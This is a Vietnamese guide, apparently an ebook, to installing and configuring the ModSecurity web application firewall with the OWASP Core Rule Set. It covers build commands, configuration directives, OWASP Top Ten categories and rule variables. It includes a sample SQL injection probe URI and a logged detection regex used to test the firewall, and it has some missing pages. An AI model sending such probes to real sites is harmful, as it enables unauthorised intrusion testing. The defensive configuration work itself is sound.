Professional Documents
Culture Documents
minhtamnw@gmail.com
EBOOKBKMT.COM
MỤC LỤC
I. PHIẾU GIAO ĐỀTÀI........................................................................................................... 5
II. NHẬP ĐỀ............................................................................................................................. 6
IV. GIỚI THIỆU MOD_SECURITY.........................................................................................7
CHỨC NĂNG.......................................................................................................................... 7
Parsing.................................................................................................................................. 7
Buffering............................................................................................................................... 7
Logging................................................................................................................................ 7
Rule Engine.......................................................................................................................... 8
CẤU TRÚC RULE TRONG ModSecurity..............................................................................8
QUY TRÌNH XỬ LÝ TRONG ModSecurity...........................................................................8
Request Header (1)...............................................................................................................9
Request body (2)................................................................................................................... 9
Response headers (3)............................................................................................................9
Response body (4)..............................................................................................................10
Logging (5)......................................................................................................................... 10
KHUYẾN CÁO KHI TRIỂN KHAI THỰC TẾ....................................................................10
V. TỐNG QUAN VỀ TIÊU CHUẨN OWASP TOP TEN.......................................................11
VI. CÀI ĐẶT MODSECURITY...........................................................................................12
VII. CẤU HÌNH..................................................................................................................... 15
Cấu hình thư mục................................................................................................................... 15
Các tập tin cấu hình................................................................................................................ 15
Các chỉ thị trong tập tin cấu hình...........................................................................................16
Quản lý Request Body...........................................................................................................17
Quản lý Response Body.........................................................................................................18
Filesystem Locations.............................................................................................................. 18
File Uploads........................................................................................................................... 19
Debug Log............................................................................................................................. 19
Audit Log............................................................................................................................... 19
Default Rule Match Policy.....................................................................................................20
Verifying Installation.............................................................................................................. 20
VIII. OWASP MODSECURITY CORE RULE SET...............................................................20
2
EBOOKBKMT.COM
Giới thiệu............................................................................................................................... 20
Triển khai OWASP ModSecurity CRS...................................................................................21
Kiểm tra kết quả..................................................................................................................... 22
IX. TỔNG QUAN VỀ RULE...................................................................................................23
Giới thiệu............................................................................................................................... 23
Variables................................................................................................................................. 24
Request variables................................................................................................................ 25
Server variables..................................................................................................................26
Response variables.............................................................................................................. 26
Miscellaneouse variables....................................................................................................27
Parsing flags....................................................................................................................... 27
Collections variables...........................................................................................................28
Time variables....................................................................................................................28
Operators................................................................................................................................ 29
String–matching operators..................................................................................................29
Numerical operators............................................................................................................ 30
Validation operators............................................................................................................30
Miscellaneous operators.....................................................................................................30
Actions................................................................................................................................... 31
Disruptive actions...............................................................................................................31
Flow actions........................................................................................................................ 31
Metadata actions................................................................................................................. 32
Variable actions................................................................................................................... 32
Logging actions..................................................................................................................32
Special actions.................................................................................................................... 33
Miscellaneous Actions........................................................................................................33
X. RULE LANGUAGE TUTORIAL......................................................................................33
Tổng quan.............................................................................................................................. 33
Hướng dẫn sử dụng biến (variable)........................................................................................33
Hướng dẫn sử dụng liên kết rule (chain)................................................................................34
Hướng dẫn sử dụng toán tử phủ định.....................................................................................34
Variable Counting..................................................................................................................35
3
EBOOKBKMT.COM
Hướng dẫn về action..............................................................................................................35
Action Defaults................................................................................................................... 35
Unconditional Rules...........................................................................................................36
Using Transformation Functions.........................................................................................36
Blocking............................................................................................................................. 37
Changing Rule Flow...........................................................................................................37
Capturing Data.................................................................................................................... 38
Variable Manipulation.........................................................................................................39
Metadata............................................................................................................................. 39
XI. PHÂN TÍCH CÁC RULE ỨNG DỤNG THỰC TẾ........................................................40
Trường hợp 1: Chống tấn công Replay attack thông qua cơ chế đánh token ngẫu nhiên.......40
Trường hợp 2: Phát hiện các Session cookie không hợp lệ....................................................43
Trường hợp 3: Phòng chống phương pháp khai thác HTTP Reponse Spliting.......................48
Trường hợp 4: Phòng chống phương pháp khai thác Path-Traversal......................................50
Trường hợp 5: Phát hiện nguy cơ lộ thông tin thẻ tín dụng....................................................52
Trường hợp 6: Phát hiện hành vi đăng nhập bruteforce.........................................................54
XII. PHỤ LỤC........................................................................................................................ 61
DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010.............................................................61
DANH MỤC CÔNG CỤ HỖ TRỢ KIỂM TRA BẢO MẬT ỨNG DỤNG WEB.................64
DANH MỤC THAM KHẢO KHAI THÁC LỖ HỔNG BẢO MẬT ỨNG DỤNG WEB.....67
XIII. TÀI LIỆU THAM KHẢO...............................................................................................91
4
EBOOKBKMT.COM
5
EBOOKBKMT.COM
II. NHẬP ĐỀ
Ngày nay, ứng dụng web trong doanh nghiệp và cơ quan chính phủ phải đối mặt với hai
thách thức lớn là: giảm thiểu nguy cơ bảo mật và bảo đảm quy trình trong công nghiệp và/hoặc
những quy định chính phủ. May mắn thay khi tồn tại một giải pháp an toàn thông tin sẵn sàng
hỗ trợ các tổ chức CNTT đạt được cả hai tiêu chí trên tại cùng một thời điểm. OWASP cho
phép các chuyên gia an ninh CNTT giảm thiểu được các cuộc tấn công bằng các chủ động và
liên tục củng cố các cấu hình cấu hình an ninh của OS, ứng dụng web và Web Application
Firewall. Đồng thời, các dự án thuộc chuẩn OWASP cho phép các kiểm soát viên giám sát việc
tuân thủ các chính sách bắt buộc trong tổ chức, doanh nghiệp.
ModSecurity là một sản phẩm thuộc dự án OWASP, cho phép người dùng cấu hình, tùy
chỉnh các phương thức phát hiện tấn công vào web server. Phiên bản ModSecurity hiện tại đã
hỗ trợ Apache, Nginx và IIS. Cùng với dự án ModSecurity Core Rule Set thì việc triển khai hệ
thống WAF càng dễ dàng hơn cho nhân viên hệ thống cũng như các chuyên viên bảo mật.
III.
6
EBOOKBKMT.COM
8
EBOOKBKMT.COM
9
EBOOKBKMT.COM
Response body (4)
Sau khi ModSecurity đã hoàn thành việc kiểm tra tại respone header thì nội dung trong phần
body sẽ được kiểm tra so trùng với mẫu trong tập lệnh. Việc này là khá hiệu quả để phát hiện
và phòng chống xâm nhập trong trường hợp bước 1 và 2 không phát hiện được tấn công.
Ví dụ: trong khai thác SQL injection, nếu hacker cố gắng sử dụng một số công nghệ evasion
thì việc phát hiện khi request là khó khăn. Khi khai thác thành công, ModSecurity sẽ phân tích
kết quả trong gói tin trả về để phát hiện nếu như câu truy vấn thành công.
Logging (5)
Việc ghi log sẽ ghi nhận các cảnh báo cũng như quy trình làm việc của ModSecurity.
KHUYẾN CÁO KHI TRIỂN KHAI THỰC TẾ
Nhằm bảo đảm tính tính linh động trong việc phát hiện cũng như bảo vệ theo thời gian thực,
ModSecurity cần sử dụng một lượng tài nguyên CPU và RAM để bảo đảm hoạt động đúng
mục đích khi triển khai. Việc sử dụng tài nguyên phụ thuộc nhiều vào phần cấu hình và cách
triển khai trên từng hệ thống khác nhau. Dưới dây là một số điểm chính cần chú ý:
ModSecurity sẽ phân tích các cú pháp mà apache sẽ thực hiện, vì thế hệ thống của bạn sẽ có
thể tăng tiêu thụ tài nguyên CPU để thực hiện tác vụ.
Việc phân tích linh động trong một số trường hợp sẽ cần một lượng tài nguyên khá lớn để
phân tích. Ví dụ: XML, JSON, AJAX …
Việc quản lý dữ liệu upload từ phía client yêu cầu thêm tài nguyên I/O (như HDD), trong
một số trường hợp sẽ gây ra tình trạng trùng lặp dữ liệu trên hệ thống.
Dữ liệu trong request và resopone được lưu trữ đệm trong RAM để thực hiện các tác vụ chặn
theo thời gian thực.
Mỗi rule trong phần cấu hình sẽ sử dụng CPU (cho phần operartor) và RAM (dùng để
chuyển đổi dữ liệu đầu vào trước khi qua phiên phân tích)
Việc sử dụng các Regular expression sẽ tốn các tài nguyên nhiều hơn.
Các hoạt động I/O sẽ tăng cao cho việc ghi nhật ký trong quá trình hoạt động của
ModSecurity (full transaction loging).
Khi triển khai thực tế ModSecurity, bạn cần chú ý đến những điều trên để có thể xác định
được tài nguyên cần thiết để ModSecurity hoạt động ổn định. Trong trường hợp bạn không thể
thay đổi tài nguyên phần cứng, thì tôi khuyên bạn nên thường xuyên theo dõi trạng thái hoạt
động của hệ thống, rút ra những kinh nghiệm nhằm điều chỉnh hoặc giảm bớt chức năng,
ruleset phù hợp mà vẫn đảm bảo an toàn cho việc hoạt động. Nếu như tổ chức mà bạn đang
quản lý sử dụng một số công nghệ ảo hóa thì việc điều chỉnh tài nguyên sẽ thuận tiện hơn để
ModSecurity hoạt động.
Một cách khác để triển khai ModSecurity trên thực thế là dùng như một reverse proxy, trong
trường hợp này tài nguyên cho ModSecurity sẽ ổn định hơn so với hệ thống tích hợp (CPU,
RAM, I/O hoạt động ở trạng thái cao).
10
EBOOKBKMT.COM
V. TỐNG QUAN VỀ TIÊU CHUẨN OWASP TOP TEN
OWASP (Open Web Application Security Project) là một dự án phi lợi nhuận, tập trung vào
việc cải thiện tính bảo mật của ứng dụng web. Thành viên của dự án là các cá nhân, tổ chức,
chuyên gia … cùng đóng góp các mã nguồn, công cụ hỗ trợ kiểm tra lỗ hổng ứng dụng web.
Năm 2010, cộng đồng OWASP xuất bản “Tài liệu hướng dẫn kiểm tra ứng dụng Web” phiên
bản 3 (OWASP Testing Guide v3: https://www.owasp.org/index.php/OWASP_Testing_Project).
Tài liệu liệt kê và phân nhóm các lỗ hổng bảo mật đã được biết đến trong ứng dụng web. Đồng
thời nội dung của tài liệu này mô tả các dự án được cộng đồng phát triển, bao gồm dự án WAF
ModSecurity.
OWASP phân loại các lỗ hổng thành 10 phân nhóm chính:
A1-Injection Nhóm này bao gồm các lỗ hổng như SQL injection, OS command
injection, LDAP injection…các lỗ hổng trong phân nhóm này cho
phép hacker truy cập hoặc chèn các dữ liệu giả vào hệ thống thông
qua các câu truy vấn dữ liệu.
A2-Cross Site XSS xuất hiện khi một ứng dụng web cho phép người dùng nhập
Scripting (XSS) các dữ liệu vào mà không thông qua kiểm duyệt nội dung, những dữ
liệu này sẽ tương tác trực tiếp với những người dùng khác cùng sử
dụng website. Nguy cơ tạo ra là hacker có thể chèn các mã kịch bản
như HTML, Javascript… nhằm ăn cắp SessionCookie, thay đổi giao
diện (deface) hoặc chuyển hướng đến trang có mã độc khác.
A3-Broken Phân nhóm này liệt kê các nguy cơ về chức năng xác thực và quản
Authentication and lý phiên (session management) trong ứng dụng web. Thông thường
Session Management các chức năng này không được triển khai tốt, cho phép hacker vượt
qua cơ chế kiểm duyệt người dùng.
A4-Insecure Direct Nguy cơ trong nhóm A4 thường được gặp trong trường hợp các
Object References lập trình viên sử dụng tham chiếu đến một tập tin, thư mục hoặc các
truy vấn database trong mã nguồn. Nếu các tham chiếu này không
được quản lý chặt chẽ, thì việc truy cập dữ liệu trái phép từ bên ngoài
là rất nguy hiểm.
A5-Cross Site Một cuộc tấn công CSRF yêu cầu một người dùng đã đăng nhập.
Request Forgery Tiếp theo, hacker sẽ chèn các mã kịch bản đã được dựng sẵn vào nội
(CSRF) dung trang web nhằm thực thi một hành động bất hợp pháp với
quyền của người dùng đã đăng nhập.
A6-Security Các yêu cầu về bảo mật ứng dụng web cũng bao gồm việc cấu
Misconfiguration hình và triển khai hệ thống, ứng dụng webserver (Apache, Nginx,
Tenginx…), cơ sở dữ liệu (MySQL, Oracle…), hệ điều hành (Linux,
Windows…). Tất cả công việc thiết lập môi trường cho ứng dụng
web hoạt động cần được lên kế hoạch theo dõi, kiểm tra, cập nhật
thường xuyên nhằm giảm thiểu nguy cơ hệ thống bị khai thác.
A7-Insecure Rất nhiều ứng dụng web không quan tâm đến việc bảo vệ dữ liệu
Cryptographic Storage nhạy cảm như thông tin thẻ tín dụng, SSN và các thông tin xác thực.
11
EBOOKBKMT.COM
Việc hacker thu thập các dữ liệu nhạy cảm không được mã hóa
(encrypt) hoặc băm (hash) sẽ tạo ra mối nguy hiểm lớn cho những
website cho phép giao dịch thông qua thương mại điện tử.
A8-Failure to Hầu hết các ứng dụng thường thực hiện kiểm soát việc truy cập
Restrict URL Access thông qua URL (thông qua cơ chế Rewrite). Việc giới hạn quyền truy
cập vào các tập tin, thư mục nhạy cảm là cần thiết. Trong một số tình
huống, việc kiểm soát này không được quản lý đầu đủ tạo nguy cơ
xâm nhập trái phép vào ứng dụng (ví dụ: thư viện fckditor thường có
thể truy cập trực tiếp không cần xác thực).
A9-Insufficient Thông tin xác thực được truyền qua môi trường mạng truyền dẫn
Transport Layer không bảo mật sẽ tạo ra nguy cơ dữ liệu bị nghe lén. Việc này cũng
Protection tương tự nếu như ứng dụng sử dụng các chứng chỉ số (certificate) với
các khóa yếu (weak key), thuật toán mã hóa yếu (weak algorithms)
hoặc chứng chỉ đã hết hạn sử dụng (expired).
A10-Unvalidated Các ứng dụng web thường chuyển hướng người dùng đến những
Redirects and Forwards trang web hoặc URL khác nhau. Hacker có thể lợi dụng cơ chế này
để chuyển hướng người dùng đến những website chứa phần mềm độc
hại hoặc trang đăng nhập giả.
Dự án OWASP ModSecurity Core Rule Set (CRS) sử dụng bản quyền ASLv2. Các tập rule
trong CRS được phân loại theo tiêu chuẩn OWASP để có thể bảo vệ máy chủ web theo từng
loại tấn công. Các rule này hoạt động tốt với phiên bản ModSecurity 2.5 trở lên.
Các vấn đề về triển khai ModSecurity CRS và phương pháp kiểm tra lỗ hổng sau khi triển
khai, bạn có thể tham khảo tại mục OWASP MODSECURITY CORE RULE SET và PHỤ
LỤC.
Gói cài đặt của bên thứ Tự động cài đặt Có thể là phiên bản
ba cũ
Yêu cầu tải và cập
nhật thường xuyên
Không tin tưởng vào
gói cài đặt đã đóng gói
Cài đặt từ mã nguồn Bảo đảm là phiên Có thể gặp các vấn
bản mới nhất đề khi quản trị viên muốn
Có thể sử dụng phiên sử dụng lại phiên bản cũ
bản thử nghiệm trước đó
12
EBOOKBKMT.COM
Có thể tùy biến, sử
dụng các bản vá khẩn cấp
trong tình huống phát hiện
lỗi bảo mật
Trong phần này, tôi sẽ hướng dẫn biên dịch từ mã nguồn. ModSecurity được tải tại trang
web www.Modsecurity.org.
Trước khi cài đặt ModSecurity trên nền tảng Linux, bạn cần cài đặt một số thư viện hỗ trợ
như sau: Apache Portable Runtime (APR), APR-util, bật module mod_unique_id trong Apache,
libcurl, libxml2, Lua 5.1 (tùy chọn), PCRE.
# yum install openssl openssl-devel pcre pcre-devel libxml2 libxml2-devel curl-devel pcre
pcre-devel
Tải phiên bản ModSecurity mới nhất tại trang chính của sản phẩm.
# wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity-apache_2.7.3.tar.gz
# wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity-apache_2.7.3.tar.gz.md5
# md5sum –c Modsecurity-apache_2.7.3.tar.gz.md5
Thực hiện giải nén
# tar xvf Modsecurity-apache_2.7.3.tar.gz
# cd Modsecurity-apache_2.7.3
Biên
Hình dịch
2: Kiểm cài tập
tra MD5 đặttinchương
cài đặt trình
# ./configure
# make
# make install
13
EBOOKBKMT.COM
Sau khi cài đặt thành công, ta cần cấu hình LoadModule trong tập tin cấu hình của Apache
(mặc định trên CentOS là /etc/httpd/conf/httpd.conf)
Bỏ comment cho unique_id_module
LoadModule unique_id_module modules/mod_unique_id.so
Thêm dòng
LoadModule security2_module modules/mod_security2.so
Sau khi chỉnh tập tin httpd.conf, ta save lại và tiến hành kiểm tra tập tin cấu hình, bảo đảm
Apache hoạt động bình thường.
# httpd –t
Khởi động lại dịch vụ httpd trên hệ thống, đồng thời kiểm tra log file để bảo đảm dịch vụ
hoạt động tốt.
# service httpd restart
#tail –f /var/logs/httpd/error_log
14
EBOOKBKMT.COM
Hình 3: Log thông báo trạng thái khởi động của Apache
Apache đã hoạt động bình thường với mod_security.
Tập tin Mô tả
main.conf Tập tin cấu hình chính
15
EBOOKBKMT.COM
rules-first.conf Tập lệnh thực hiện đầu tiên
rules.conf Tập lệnh thực hiện chính
rules-last.conf Tập lệnh thực hiện cuối cùng
Thực hiện tạo tập tin Modsecurity.conf trong thư mục /etc/httpd/conf.d với nội dung:
<IfModule mod_security2.c>
Include /opt/modsecurity/etc/main.conf
Include /opt/modsecurity/etc/rules-first.conf
Include /opt/modsecurity/etc/rules.conf
Include /opt/modsecurity/etc/rules-last.conf
</IfModule>
Tạo một tập tin cấu hình mẫu cho ModSecurity dựa vào tập tin đề nghị có sẵn, tại thư mục
chứa mã nguồn Modsecurity thự hiện lệnh sao chép như sau:
#cp Modsecurity.conf-recommended /opt/modsecurity/etc/main.conf
Các chỉ thị trong tập tin cấu hình
Chỉ thị Mô tả
SecArgumentSeparator Sets the application/x-www-form-urlencoded
parameter separator
SecCookieFormat Sets the cookie parser version
SecDataDir Sets the folder for persistent storage
SecRequestBodyAccess Controls request body buffering
SecRequestBodyInMemoryLimit Sets the size of the per-request memory buffer
SecRequestBodyLimit Sets the maximum request body size
ModSecurity will accept
SecRequestBodyLimitAction Controls what happens once the request body
limit is reached
SecRequestBodyNoFilesLimit Sets the maximum request body size,
excluding uploaded files
SecResponseBodyAccess Controls response body buffering
SecResponseBodyLimit Specifies the response body buffering limit
SecResponseBodyLimitAction Controls what happens once the response body
limit is reached
SecResponseBodyMimeType Specifies a list of response body MIME types
to inspect
SecResponseBodyMimeTypesClear Clears the list of response body MIME types
SecRuleEngine Controls the operation of the rule engine
16
EBOOKBKMT.COM
SecTmpDir Sets the folder for temporary files
Trong phiên bản trước 2.5, ModSecurity chỉ hỗ trợ SecRequestBodyLimit dùng để giới hạn
kích thước gói tin request đến server, bao gồm gói tin với POST method bình thường (ví dụ:
nhập username, password) và các gói tin dùng POST method để upload tập tin. Nhưng nhóm
phát triển ModSecurity thấy rằng: khi client dùng POST để upload tập tin, thì quá trình này
không sử dụng đến RAM để xử lý gói tin mà chỉ dùng I/O để truyền dữ liệu. Vì lý do này, trong
phiên bản sau 2.5 thì chức năng SecRequestBodyNoFilesLimit được thêm vào nhằm phân biệt
gói tin dùng để upload tập tin và gói tin dùng để nhập dữ liệu từ client.
Chỉ thị thứ ba trong phần này là SecRequestBodyInMemoryLimit, dùng điều khiển hoạt
động lưu trữ nội dung của gói tin vào bộ nhớ RAM. Tham số trong phần này chỉ có hiệu quả
với các gói tin có nhiệm vụ upload tập tin (multipart/form-data)
17
EBOOKBKMT.COM
Những gói tin có kích thước trong khoảng giới hạn tại mục SecRequestBodyInMemoryLimit
sẽ được lưu trữ trong RAM. Những gói tin có kích thước lớn hơn sẽ được chuyển vào vùng nhớ
swap trên ổ cứng để lưu trữ và phân tích.
Quản lý Response Body
Tương tự như gói tin request, các gói tin respone cũng bao gồm hai phần là header và body
(trong một số trường hợp gói tin respone không tồn tại nội dung trong phần body). Ta cấu hình
việc theo dõi nội dung trong repone tại mục SecResponseBodyAccess.
# Allow ModSecurity to access response bodies.
# You should have this directive enabled in order to identify errors
# and data leakage issues.
#
# Do keep in mind that enabling this directive does increases both
# memory consumption and response latency.
#
#SecResponseBodyAccess On
SecResponseBodyAccess Off
Tôi khuyến cáo nên tắt chức năng theo dõi respone nhằm giảm thiểu tài nguyên CPU và
RAM trên máy chủ. Hơn nữa, hầu hết các cuộc tấn công thường xuất hiện bên ngoài hệ thống,
nên việc theo dõi các repone đôi khi là không cần thiết.Trong trường hợp bạn cần theo dõi dữ
liệu phản hồi từ server, đơn giản là thiết lập thành giá trị thành On.
Trong dữ liệu mà phía server trả về phía client thường bao gồm nhiều thành phần và kiểu
khác nhau như: html, css, js, jpg, xml … Trong hầu hết các trường hợp, thì các dữ liệu tĩnh
(javascript, css …) không tạo ra nguy cơ bảo mật nào cho hệ thống, do vậy trong ModSecurity
ta cần chỉ định rõ kiểu dữ liệu cần theo dõi trong phần SecResponseBodyMimeType
# Which response MIME types do you want to inspect? You should adjust the
# configuration below to catch documents but avoid static files
# (e.g., images and archives).
#
SecResponseBodyMimeType text/plain text/html text/xml
Filesystem Locations
Trong phần cấu hình này, ta cần chỉ định thư mục lưu trữ tạm thời nhằm phục vụ cho chức
năng theo dõi nội dung tập tin đăng tải lên phía server. Ngoài ra, thư mục này bao gồm việc lưu
trữ các session_cookie trong trường hợp phục vụ cho các rule chống khai thác thông qua
session_fixation hoặc session_hijacking.
#-- Filesystem configuration ------------------------------------------------
# The location where ModSecurity stores temporary files (for example, when
# it needs to handle a file upload that is larger than the configured limit).
#
# This default setting is chosen due to all systems have /tmp available however,
18
EBOOKBKMT.COM
# this is less than ideal. It is recommended that you specify a location that's private.
#
SecTmpDir /tmp/
# The location where ModSecurity will keep its persistent data. This default setting
# is chosen due to all systems have /tmp available however, it
# too should be updated to a place that other users can't access.
#
SecDataDir /tmp/
File Uploads
Tại phần cấu hình quản lý upload tập tin, ta cần chỉ định thư mục chứa dữ liệu tạm thời trong
trường hợp có tập tin được upload. Thư mục này sẽ chứa tập tin tạm thời để ModSecurity kiểm
tra trước khi đưa quan Apache xử lý nội dung tiếp theo.
Khuyến cáo: việc sử dụng chức năng theo dõi tập tin upload có thể là nguyên nhân của việc
làm tăng dung lượng lưu trữ do có nhiều tập tin trùng lặp nội dung, đồng thời việc này sẽ làm
giảm hiệu suất của ModSecurity. Vì lý do này, bạn chỉ nên sử dụng chức năng này khi thật sự
cần thiết.
20
EBOOKBKMT.COM
• HTTP Protection: phát hiện các nguy cơ dựa trên giao thức HTTP như Method (
GET HEAD POST …), phiên bản HTTP ( 1.0, 1.1)
• Real-time Blacklist Lookups: lọc các dãy IP nguy hiểm dựa vào một bên thứ 3.
• Web-based Malware Detection: xác định các mã độc trong nội dung trang web
bằng cách sử dụng Google Safe Browsign API.
• HTTP Denial of Service Protections: chống lại dạng tấn công từ chối dịch vụ
như HTTP Flooding và Slow HTTP DoS.
• Common Web Attacks Protection: phát hiện một số dạng tấn công phổ biếtn
vào ứng dụng web Automation Detection: phát hiện các bots, crawler, chương trình quét
(scanner) và các hoạt động thu thập thông tin.
• Integration with AV Scanning for File Uploads: phát hiện các mã độc,
webshell, 0days thông qua các chức năng upload tập tin.
• Tracking Sensitive Data: theo dõi các hoạt động và chặn lộ thông tin thẻ tín
dụng (trong trường hợp website có hoạt động thương mại điện tử).
• Trojan Protection: phát hiện các mẫu trojan.
• Identification of Application Defects: cảnh báo các lỗi trong quản lý cấy hình
ứng dụng webserver.
• Error Detection and Hiding: gởi các mã thông báo lỗi giả về phía người dùng.
Triển khai OWASP ModSecurity CRS
Tiến hành tải gói tin SpiderLabs-owasp-modsecurity-crs phiên bản mới nhất tại:
Định dạng Liên kết
GitHub https://github.com/SpiderLabs/owasp-modsecurity-crs
Repository
TAR/GZ https://github.com/SpiderLabs/owasp-modsecurity-crs/tarball/master
Archive
ZIP https://github.com/SpiderLabs/owasp-modsecurity-crs/zipball/master
Archive
21
EBOOKBKMT.COM
#START COMMON CONFIGURATION
Include /opt/modsecurity/etc/main.conf
#Include /opt/modsecurity/etc/rules-first.conf
#Include /opt/modsecurity/etc/rules.conf
#Include /opt/modsecurity/etc/rules-last.conf
Include /opt/modsecurity/etc/modsecurity_crs_10_setup.conf
Include /opt/modsecurity/etc/crs/activated_rules/*.conf
</IfModule>
#/etc/init.d/httpd restart
Kiểm tra kết quả
Ta thực hiện kiểm tra tấn công SQL injection với URI sau trong trường hợp trước và sau khi
triển khai OWASP CRS: http://www.modsec.com/?p=1%20order%20by%201,2,4
Hình 4: Tấn công SQLI trước khi triển khai OWASP CRS
22
EBOOKBKMT.COM
Hình 5:Tấn công SQLI sau khi triển khai OWASP CRS
Cảnh báo ghi nhận tấn công:
[Tue Jun 04 18:40:39 2013] [error] [client 192.168.149.1] ModSecurity: Access denied with
code 403 (phase 2). Pattern match "\\\\b(?i:having)\\\\b\\\\s+(\\\\d{1,10}|'[^=]{1,10}')\\\\s*?
[=<>]|(?i:\\\\bexecute(\\\\s{1,5}[\\\\w\\\\.$]{1,5}\\\\s{0,3})?\\\\()|\\\\bhaving\\\\b ?(?:\\\\d{1,10}|
[\\\\'\\"][^=]{1,10}[\\\\'\\"]) ?[=<>]+|(?i:\\\\bcreate\\\\s+?table.{0,20}?\\\\()|(?i:\\\\blike\\\\W*?
char\\\\W*?\\\\()|(?i:(?:(select(.* ..." at ARGS:p. [file
"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"]
[line "130"] [id "959070"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: order
by found within ARGS:p: 1 order by 1,2,4"] [severity "CRITICAL"] [ver
"OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "8"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag
"OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname
"www.modsec.com"] [uri "/"] [unique_id "Ua3SN38AAAEAAAcbBfsAAAAA"]
24
EBOOKBKMT.COM
Variables
Có 77 loại biến trong phiên bản ModSecurity hiện tại và chúng được phân loại như sau:
Scalar variables: Chứa một phần thông tin dữ liệu, có thể là chuỗi hoặc số. Ví dụ,
REMOTE_ADDR luôn chứa địa chỉ IP của người dùng,
Collections: Nhóm các biến lại với nhau thành một nhóm.
Read-only collections: Nhóm các biến không thể thay đổi trong quá trình thực hiện tương
tác giữa ModSecurity và Apache.
Read/write collections: Nhóm này được sử dụng trong trường hợp bạn cần triển khai các
rule có sự thay đổi trong dữ liệu đầu vào.
Special collections: Nhóm các biến đặc biệt được dùng trong việc trích xuất dữ liệu đầu vào
dưới dạng XML.
Persistent collections: Khi các rule sử dụng các thành phân trong nhóm này, thì dữ liệu sẽ
được lưu trữ trong cơ sở dữ liệu nội bộ của ModSecurity. Trong các tác vụ như theo dõi IP,
phiên làm việc hoặc theo dõi người dùng đăng nhập thì việc lưu trữ sẽ được sử dụng.
Request variables
Các biến trong phân nhóm này chịu trách nhiệm trích xuất các giá trị trong HTTP request
header để đưa vào phần phân tích. Các trường giá trị ModSecurity hỗ trợ trong các biến được
thu thập từ các URI, method (GET HEAD POST PUT …), protocol information ( HTTP 1.1,
HTTP 1.0).
Bảng sau liệt kê các giá trị biến (Request variable) mà ModSecurity hỗ trợ:
Variable Description
ARGS Request parameters (read-only collection)
ARGS_COMBINED_SIZE Total size of all request parameters combined
ARGS_NAMES Request parameters’ names (collection)
ARGS_GET Query string parameters (read-only collection)
ARGS_GET_NAMES Query string parameters’ names (read-only collection)
ARGS_POST Request body parameters (read-only collection)
ARGS_POST_NAMES Request body parameters’ names (read-only collection)
FILES File names (read-only collection)
FILES_COMBINED_SIZE Combined size of all uploaded files
FILES_NAMES File parameter names (read-only collection)
FILES_SIZES A list of file sizes (read-only collection)
FILES_TMPNAMES A list of temporary file names (read-only collection)
PATH_INFO Extra path information
QUERY_STRING Request query string
REMOTE_USER Remote user
REQUEST_BASENAME Request URI basename
25
EBOOKBKMT.COM
REQUEST_BODY Request body
REQUEST_COOKIES Request cookies (read-only collection)
REQUEST_COOKIES_NAM Request cookies’ names (read-only collection)
ES
REQUEST_FILENAME Request URI file name/path
REQUEST_HEADERS Request headers (collection, read-only)
REQUEST_HEADERS_NAM Request headers’ names (read-only collection)
ES
REQUEST_LINE Request line
REQUEST_METHOD Request method
REQUEST_PROTOCOL Request protocol
REQUEST_URI Request URI, convert to exclude hostname
REQUEST_URI_RAW Request URI, as it was presented in the request
Server variables
Các biến trong phân nhóm này dùng phân tích các thành phần do người dùng gởi đến máy
chủ, và một số khác liên quan đến dữ liệu trả về người dùng.
Bảng sau liệt kê các giá trị biến (server variable) mà ModSecurity hỗ trợ:
Variable Description
AUTH_TYPE Authentication type
REMOTE_ADDR Remote address
REMOTE_HOST Remote host
REMOTE_PORT Remote port
SCRIPT_BASENAME Script basename
SCRIPT_FILENAME Script file name/path
SCRIPT_GID Script group ID
SCRIPT_GROUPNAM Script group name
E
SCRIPT_MODE Script permissions
SCRIPT_UID Script user ID
SCRIPT_USERNAME Script user name
SERVER_ADDR Server address
SERVER_NAME Server name
SERVER_PORT Server port
Response variables
Các biến trong phân nhóm này được dùng cho việc xác định các dữ liệu trả về người dùng.
Phần lớn các giá trị này được sử dụng trong pha thứ 3 Response headers (3). Một số thành
phần liên quan đến nội dung gói tin HTTP (body) thì sẽ được dùng trong pha thứ 4 Response
body (4).
Bảng sau liệt kê các giá trị biến (respone variable) mà ModSecurity hỗ trợ:
26
EBOOKBKMT.COM
Variable Description
RESPONSE_BODY Response body
RESPONSE_CONTENT_LENG Response content length
TH
RESPONSE_CONTENT_TYPE Response content type
RESPONSE_HEADERS Response headers (read-only collection)
RESPONSE_HEADERS_NAME Response headers’ names (read-only collection)
S
RESPONSE_PROTOCOL Response protocol
RESPONSE_STATUS Response status code
Miscellaneouse variables
Bảng sau liệt kê các giá trị biến (miscellaneouse variable) mà ModSecurity hỗ trợ:
Variable Description
HIGHEST_SEVERITY Highest severity encountered
MATCHED_VAR Contents of the last variable that matched
MATCHED_VARS Contents of all variables that matched int the most
recent rule
MATCHED_VARS_NAM Names of all variables that matched in the most recent
ES rule
MATCHED_VAR_NAME Name of the last variable that matched
MODSEC_BUILD ModSecurity build version (e.g., 02050102)
SESSIONID Session ID associated with current transaction
UNIQUE_ID Unique transaction ID generated by mod_unique_id
USERID User ID associated with current transaction
WEBAPPID Web application ID associated with current transaction
WEBSERVER_ERROR_L Error messages generated by Apache during current
OG transaction
Parsing flags
Variable Description
MULTIPART_BOUNDARY_QUOTED Multipart parsing error: quoted boundary
encountered
MULTIPART_BOUNDARY_WHITESPACE Multipart parsing error: whitespace in
boundary
MULTIPART_CRLF_LF_LINES Multipart parsing error: mixed line
endings used
MULTIPART_DATA_BEFORE Multipart parsing error: seen data before
first boundary
MULTIPART_DATA_AFTER Multipart parsing error: seen data after
27
EBOOKBKMT.COM
last boundary
MULTIPART_FILE_LIMIT_EXCEEDED Multipart parsing error: too many files
MULTIPART_HEADER_FOLDING Multipart parsing error: header folding
used
MULTIPART_INVALID_HEADER_FOLDI Multipart parsing error: invalid header
NG folding encountered
MULTIPART_LF_LINE Multipart parsing error: LFline ending
detected
MULTIPART_MISSING_SEMICOLON Multipart parsing error: missing
semicolon before boundary
MULTIPART_STRICT_ERROR At least one multipart error except
unmatched boundary occurred
MULTIPART_UNMATCHED_BOUNDAR Multipart parsing error: unmatched
Y boundary detected
REQBODY_PROCESSOR Request processor that handled request
body
